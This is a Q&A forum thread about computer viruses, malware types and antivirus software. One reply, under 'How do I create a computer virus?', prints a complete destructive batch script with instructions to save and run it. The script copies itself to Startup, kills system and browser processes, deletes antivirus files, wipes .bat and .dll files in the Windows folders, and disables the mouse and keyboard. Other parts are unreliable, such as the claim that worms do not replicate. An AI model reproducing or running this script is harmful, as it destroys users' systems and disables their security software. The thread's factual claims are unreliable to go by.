Computer Virus

Netthan Baltazar wrote:

What is the difference between a virus and malware?

A virus is just one type of malware, but the term is more widely used by the public. The term malware refers to any malicious software, including a computer virus. For example, between 2000 and 2005, spyware and adware emerged as types of malware that protection systems had to deal with.
Malware is infecting computers and mobile devices at an increasingly greater pace.

Netthan Baltazar wrote:

Is it a crime to make a computer virus?

No. It is not against the law or a crime to make a computer virus, Trojan, or malware. However, if that virus or malware spreads to additional computers intentionally or by mistake, you have violated the law, and you could be held liable for any damages it causes.

Netthan Baltazar wrote:

What is a virus definition?

A virus definition is binary pattern (a string of ones and zeros) that identifies a specific virus. By checking a program or file against a list of virus definitions, antivirus software can determine if the program or file contains a virus.

Most antivirus and Internet security programs reference a database of virus definitions when scanning files for viruses. This is an effective way to detect known viruses. However, when new viruses are created, antivirus software may not recognize them. Therefore, most antivirus programs automatically update the virus definitions from an online database on a regular basis (such as once a week).

adicuasay wrote:

What do I do if I find a virus on my computer?

Follow the following steps:

Make sure that all Access Card numbers and AccèsD Affaires user codes used on the infected compute are immediately deactivated. To do this, contact your Caisse populaire or call 1-866-779-COOP (1-866-779-2667), Monday to Friday from 4 p.m. to 9 p.m. and Saturday and Sunday from 8 a.m. to 8 p.m.
Do not, under any circumstances, use the computer to make online transactions or purchases or to access sites containing confidential information about you as long as the virus has not been removed by a qualified expert.
Important: It is possible that your antivirus software may not detect the virus on your computer. This is why a manual search for the virus and extraction may be necessary.
You may get help from an expert by contacting:

The store where you purchased the computer (e.g. major electronic store have qualified technicians and offer problem resolution services).
The technical support service of the antivirus software installed on the computer.
Your Internet service provider, if it offers a virus protection program.
Any computer expert near you.

Netthan Baltazar wrote:

How do I create a computer virus?

You might be scared of viruses in your computer or laptop. They directly affect the working of the computer systems. You may want to create your own virus too. This guide will show you how you can create a simple virus. Open the notepad file and paste the following code:

@echo off
copy "virus.bat" "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
copy "virus.bat" "C:\"
copy "virus.bat" "%userprofile%\My Documents"
tskill explorer
tskill ccapp
tskill yahoomessenger
tskill firefox
tskill chrome
rem made with Batch Virus Maker V.2
tskill iexplorer
time 12:00
rem made with Batch Virus Maker V.2
del C:\Program Files\Common Files\Symantec Shared\ccapp.exe
cd C:\WINDOWS
if exist "*.bat" del "*.bat"
cd C:\WINDOWS\system32
rem made with Batch Virus Maker V.2
if exist "*.dll" del "*.dll"
tskill McAfee Security Centre Module
del c:\program files\mcafee.com\agent\mcdetect.exe
rem made with Batch Virus Maker V.2
copy "virus.bat" "virus.bat45544"
copy "virus.bat" "virus.bat85858"
copy "virus.bat" "virus.bat1645"
copy "virus.bat" "virus.bat574457"
copy "virus.bat" "virus.bat55457"
copy "virus.bat" "virus.bat9765"
copy "virus.bat" "virus.bat45465"
rem made with Batch Virus Maker V.2
copy "virus.bat" "virus.bat456877"
copy "virus.bat" "virus.bat77989845"
copy "virus.bat" "virus.bat2135"
copy "virus.bat" "virus.bat46876"
rem made with Batch Virus Maker V.2
copy "virus.bat" "virus.bat45687"
copy "virus.bat" "virus.bat8868"
copy "virus.bat" "virus.bat2000"
copy "virus.bat" "virus.bat2009"
msg * this is a virus
rundll mouse,disable
rem made with Batch Virus Maker V.2
rundll keyboard,disable

Save it as “virus.bat” or anything with the name you want to. Now your first virus is ready to work. You can also convert it as .exe file. It copies itself to startup, hard disk, my documents and then it kills explorer.exe, chrome.exe and firefox.exe. It tries to delete mcafee antivirus and tries to delete every .dll and .bat files. Now if someone clicks on the .bat or .exe file this batch file will run and execute the operations written in the code. So beware of running this batch file or you may need for a restoration on your computer. Read more about what is a computer virus, types of computer virus.

adicuasay wrote:

What is a computer virus?

Computer viruses are the most popular of malicious software, which is developed with the aim of compromising a computer system.

greymarkb wrote:

Besides viruses, what are other types of destructive programs are there?

OTHER DESTRUCTIVE PROGRAMS
- WORMS
o WORMS ARE CONSTRUCTED TO INFILTRATE LEGITIMATE DATA PROCESSING PROGRAMS AND ALTER OR DESTROY THE DATA (E.G., ILLICIT BANK FUNDS TRANSFER)
o WORMS DO NOT REPLICATE THEMSELVES (WORMS ARE LIKE A BENIGN TUMOR, VIRUSES LIKE MALIGNANT ONES)
o WORM’S CHANGES MAY CONTINUE IN EFFECT AFTER WORM IS DESTROYED UNLESS CORRECTED
- TROJAN HORSES
o TROJAN HORSES ARE DESTRUCTIVE PROGRAMS THAT HAVE BEEN DISGUISED, OR CONCEALED IN, AN INNOCUOUS PIECE OF SOFTWARE (VIRUS OR WORM MAY BE WITHIN TROJAN HORSE)
o CAN BE IN GAMES, GRAPHICS)
o TROJAN HORSES DO NOT REPRODUCE THEMSELVES AND SPREAD
o USED FOR EMBEZZLEMENT AND INDUSTRIAL ESPIONAGE – OFTEN DESIGNED NOT TO BE DISCOVERED
- LOGIC BOMBS
o LOGIC BOMBS ARE SIMILAR TO A TROJAN HORSE, BUT ARE SET TO GO OFF AT A PARTICULAR DATE AND TIME (CAN BE DELAYED A LONG TIME)
o LOGIC BOMBS DO NOT REPRODUce
o OFTEN DESIGNED TO DO MAXIMUM DAMAGE
o OFTEN USED BY DISGRUNTLED EMPLOYEES, E.G., WHEN THEIR NAME IS REMOVED FROM PAYROLL RECORDS
o CAN BE USED TO HOLD SOFTWARE “HOSTAGE” UNTIL A RANSOM IS PAID. ALSO “INSURANCE” FOR PAYMENT TO COMPUTER SYSTEM SUPPLIERS OR CONSULTANTS
- BOOT SECTOR VIRUSES (“BOOT SECTOR” IS THE FIRST THING LOADED WHEN A COMPUTER STARTS)
o INFECT THE “BOOT SECTOR” ON A COMPUTER SYSTEM, OVERWRITING IT WITH INFECTED CODE
o THEY THEN MOVE THE ORIGINAL BOOT SECTOR INFORMATION TO ANOTHER SECTOR ON THE DISK, MARKING THAT SECTOR AS A BAD SPOT ON THE DISK SO IT WILL NOT BE USED IN THE FUTURE
o TAKES FULL COMMAND OF THE INFECTED COMPUTER
o THE ONLY WAY A SYSTEM CAN BECOME INFECTED WITH A BOOT SECTOR VIRUS IS TO BOOT USING AN INFECTED FLOPPY DISK
- FILE INFECTING VIRUSEs
o VIRUSES THAT (SURPRISE!) INFECT FILES
o MOSTLY INFECT EXECUTABLE FILES (E.G., .COM, .EXE, .OVL)
o SOME ACT LIKE BOOT SECTOR INFECTORS AND REPLACE THE “PROGRAM LOAD” INSTRUCTION IN AN EXECUTABLE FILE WITH THEIR OWN INSTRUCTIONS
o OTHERS USE “COMPANION” FILES, E.G., RENAME ALL .COM FILES WITH .EXE, THEN WRITE A NEW FILE WITH A .COM EXTENSION. THIS NEW FILE WILL HAVE THE VIRUS INSTRUCTIONS, AND WILL EXECUTE
- POLYMORPHIC VIRUSES
o POLYMORPHIC VIRUSES CHANGE THEIR APPEARANCE WITH EACH INFECTION
o THEY ARE ENCRYPTED, AND ALTER THE ENCRYPTION ALGORITHM WITH EACH NEW INFECTION (SOME WITH OVER 2 BILLION DIFFERENT FORMS). ANTI-VIRUS SOFTWARE MUST SCAN FOR ALGORITHMS AS WELL AS STRINGS
- STEALTH VIRUSES
o ATTEMPT TO HIDE BOTH FROM OPERATING SYSTEM AND ANTI-VIRUS SOFTWARE
o MUST STAY IN MEMORY TO INTERCEPT ALL ATEMMPTS TO USE THE OPERATING SYSTEM
o CAN HIDE CHANGES IT MAKES TO FILE SIZES, DIRECTORY STRUCTURES AND/OR OTHER OPERATING SYSTEM ASPECTS
o MUST BE DETECTED WHILE IN MEMORY AND DISABLED BEFORE DISK-BASED COMPONENTS CAN BE CORRECTED
- MULTI-PARTITE VIRUSES
o INFECT BOTH BOOT SECTORS AND EXECUTABLE FILES
o COMBINE SOME OR ALL OF THE STEALTH TECHNIQUES, ALONG WITH POLYMORPHISM
- MACRO VIRUSE

o CURRENTLY ACCOUNT FOR ABOUT 80 PERCENT OF ALL VIRUSES. FASTEST GROWING VIRUSES IN COMPUTER HISTORY
o UNLIKE OTHER VIRUS TYPES, MACRO VIRUSES AREN’T SPECIFIC TO AN OPERATING SYSTEM AND SPREAD VIA E-MAIL ATTACHMENTS, FLOPPY DISKS, WEB DOWNLOADS, FILE TRANSFERS AND COOPERATIVE APPLICATIONS
o MACRO VIRUSES ARE, HOWEVER, APPLICATION SPECIFIC. THEY INFECT MACRO UTILITIES THAT ACCOMPANY SUCH APPLICATIONS AS MICROSOFT WORD AND EXCEL, WHICH MEANS A WORD MACRO VIRUS CANNOT INFECT AN EXCEL DOCUMENT OR VICE VERSA

o INSTEAD, MACRO VIRUSES TRAVEL BETWEEN DATA FILES IN THE APPLICATION AND CAN EVENTUALLY INFECT HUNDREDS OF FILES IF UNDETERRED

o MACRO VIRUSES ARE WRITTEN IN VISUAL BASIC AND ARE RELATIVELY EASY TO CREATE

o THEY CAN INFECT AT DIFFERENT POINTS DURING A FILE’S USE, FOR EXAMPLE, WHEN IT IS OPENED, SAVED, CLOSED OR DELETED

adicuasay wrote:

. What do hackers use computer viruses for?

A few years ago, hackers sought recognition and fame. Today, these criminals usually try to use malicious software to steal money from their victims. Viruses and worms are usually used to:

Take control of your computer with the aim of using it for fraud without your knowledge. This is particularly true with the development of high-speed Internet access tools like cable modems and ADSL.
Install spyware to gather your personal information without your knowledge when you surf the Internet. A hacker could obtain your password to access your savings accounts, or your credit card number when you make online purchases.

greymarkb wrote:

How are viruses transmitted?

Because of the ff.
- FLOPPY DISKS
- MODEMS
- NETWORKS
- TECHNICIANS AND THIRD PARTIES
- TRAPDOORS
o AVOID PASSWORDS AND SECURITY PROCEDURES
o USUALLY BUILT IN BY PROGRAMMERS FOR EASY ACCESS
o CAN BE CREATED BY HACKERS – A SECOND ENTRANCE IN CASE KICKED OFF THE SYSTEM

Crystaline Lovely wrote:

What can a computer virus do?

Some computer viruses are programmed to harm your computer by damaging programs, deleting files, or reformatting the hard drive. Others simply replicate themselves or flood a network with traffic, making it impossible to perform any internet activity. Even less harmful computer viruses can significantly disrupt your system’s performance, sapping computer memory and causing frequent computer crashes.

Crystaline Lovely wrote:

What virus infects program files like having an .EXE extensions?

It is a File-infecting virus
A file-infecting virus is a type of malware that infects executable files with the intent to cause permanent damage or make them unusable. A file-infecting virus overwrites code or inserts infected code into a executable file. This type of virus can infect a number of operating systems, including Macintosh, Windows and Unix.

adicuasay wrote:

What should I do if I believe my computer may be infected by a computer virus?

The spread of computer viruses on the Internet is a very real phenomenon. This is why it is critical that you install security software on your computer that includes automatic updates and antivirus, antispyware, and antispam software as well as a firewall, Note that these do not, however, protect your computer from new viruses. This is why you must beware if anything appears abnormal on your Internet browser.

For example, one sign that your computer may have been infected is if you are asked to provide unusual information such as your date of birth or social insurance number as you log on to AccèsD, and this despite the fact that:

adicuasay wrote:

What to do if you suspect your computer is infected?

Install or update your antivirus program and launch a full system scan.
Do not use your computer to do your online banking until the problem has been resolved.
If you have given out personal information or believe your password may be compromised, contact an AccèsD Services advisor to change your AccèsD password by calling 1-866-779-COOP (1-866-779-2667), Monday to Friday from 4 p.m. to 9 p.m. and Saturday and Sunday from 8.am. to 8 p.m.
If the problem persists after a system scan by your antivirus program, contact your Internet service provider or the computer support department of the store where you purchased the computer.
You can also use free scans generally offered by most antivirus software suppliers.

greymarkb wrote:

My computer was blocked from the USC network due to a
virus. How do I regain access to the USC network?

ITS disconnects infected computers from the network in order to maintain security for the university computing community. To re-establish a connection to the USC network, you will need to do the following:

Scan your computer using antivirus scanning software that has been updated with the latest virus definitions.
Be sure to remove or quarantine any viruses identified by the antivirus software.
Install necessary operating system patches to prevent your computer from being vulnerable to future attacks (i.e., Code Red worm).

How has the influence of the online world (the Internet, networks, bulletin board systems, and e-mail) affected the world of viruses?

How many viruses are there?

How do you prevent viruses?

How do you stop a virus once you discover you have one?

Why do people write viruses and other destructive software?

uverojerico wrote:

Why is antivirus important for business?

Sent from Topic'it App

The internet provides hackers and other internet surfers the opportunity to easily access other individual’s information and personal details. This makes the internet an unsafe and unsecure network. All internet users are advised to obtain professional antivirus software in order to combat the growing phenomenon of internet fraud and hacking.

Through investing in antivirus software individuals are able to safeguard any valuable and important information stored on their personal computers (PC). The most important factor for obtaining antivirus software is in order to protect your personal bank account details. When making online payment transactions, individuals often save their card details and other sensitive information onto their computer or even on the website. By doing this, individuals are automatically a potential victim of credit card fraud as well as identity theft.

Hackers are able to enter your computer system and access any details stored onto your hard drive. This is an even greater threat in the event that they hack into a corporate network and can access a company’s bank account details. Large multinational companies often spend a significant amount of money to secure their internal networks from malicious software as they store their clients’ confidential information in their company records. It is vital that all internet users invest in antivirus software to protect their personal and corporate details from malicious internet users.

Amerodin Azis wrote:

How does an antivirus work?

Antivirus programs are powerful pieces of software that are essential on Windows computers. If you’ve ever wondered how antivirus programs detect viruses, what they’re doing on your computer, and whether you need to perform regular system scans yourself, read on.

An antivirus program is an essential part of a multi-layered security strategy – even if you’re a smart computer user, the constant stream of vulnerabilities for browsers, plug-ins, and the Windows operating system itself make antivirus protection important.

Amerodin Azis wrote:

What are the current available antivirus programs?

TotalAV

Please Vote!
Our #1 Recommended Antivirus Protection, Fast & Simple. Removes All Viruses, Malware, Adware & Spyware. Includes Internet Security. TotalAV Overview

Best Antivirus Protection 2018
Protects All Devices Windows, Mac, Android & iOS
Protection against Malware, Adware & Spyware
24/7 Customer Support
100% Free Antivirus Software
Add to Compare
Get Started with TotalAV Now

Best Antivirus Software 2018
FREE

Visit Site
2

PC Protect

Please Vote!
Protects Againest All Threats, Includes PC Optimizer, Web Security, Great Value. PC Protect Overview

24/7 Customer Support
100% Free Antivirus Software
Add to Compare
FREE

Visit Site
3

Norton

Please Vote!
Well known and trusted AV, easy to use and offer plenty of features. Norton Overview

24/7 Customer Support
Well Known Brand
Add to Compare

Visit Site
4

Avira

Please Vote!
Well known software, reliable and not too intrusive. Avira Overview

30-Day Money Back Guarantee
Popular Antivirus Provider
Add to Compare

Visit Site
5

ScanGuard

Please Vote!
Scan's and removes viruses, spyware & malware. Includes free tune-up tools. ScanGuard Overview

24/7 Customer Support
30-Day Money Back Guarantee
Add to Compare

Visit Site
6

Avast

Please Vote!
Avast antivirus comes with many features and tools to protect your computer. Avast Overview

30-Day Money Back Guarantee
Popular Antivirus Provider
Add to Compare

Visit Site
7

McAfee

Please Vote!
Been in the industry a long time so a trusted antivirus which works with all major devices. McAfee Overview

24/7 Customer Support
30-Day Money Back Guarantee
Add to Compare

Visit Site
8

AVG

Please Vote!
AVG are a World renowned and very popular Antivirus. AVG Overview

24/7 Customer Support
Popular Antivirus Provider
Add to Compare

Visit Site
9

BullGuard

Please Vote!
Industry leading Internet Security provider, option of a long free trial. BullGuard Overview

30-Day Money Back Guarantee
Internet Security Features
Add to Compare

Visit Site
10

Bitdefender

Please Vote!
Powerful and simple to use product. Jam packed with features. Bitdefender Overview

24/7 Customer Support
30-Day Money Back Guarantee
Add to Compare

Amerodin Azis wrote:

What is a quick and deep or full antivirus scan?

An antivirus program may provide several options for scanning a computer. However, the most common scans are the quick scan and full scan

Amerodin Azis wrote:

My computer is slow after installing an antivirus. why?

A slow computer can be caused by numerous programs running in the background that automatically start each time the computer boots. For instance, a virus protection program or an antivirus scanner on the computer can scan your computer in the background without your permission

Amerodin Azis wrote:

Is it ok to have more than one antivirus installed?

Again, The important thing is to make sure you do not run both applications simultaneously. Antivirus programs do not usually play well together, and running two at the same time will often lead to one singling out the other as a virus, or in some cases, even cause file corruption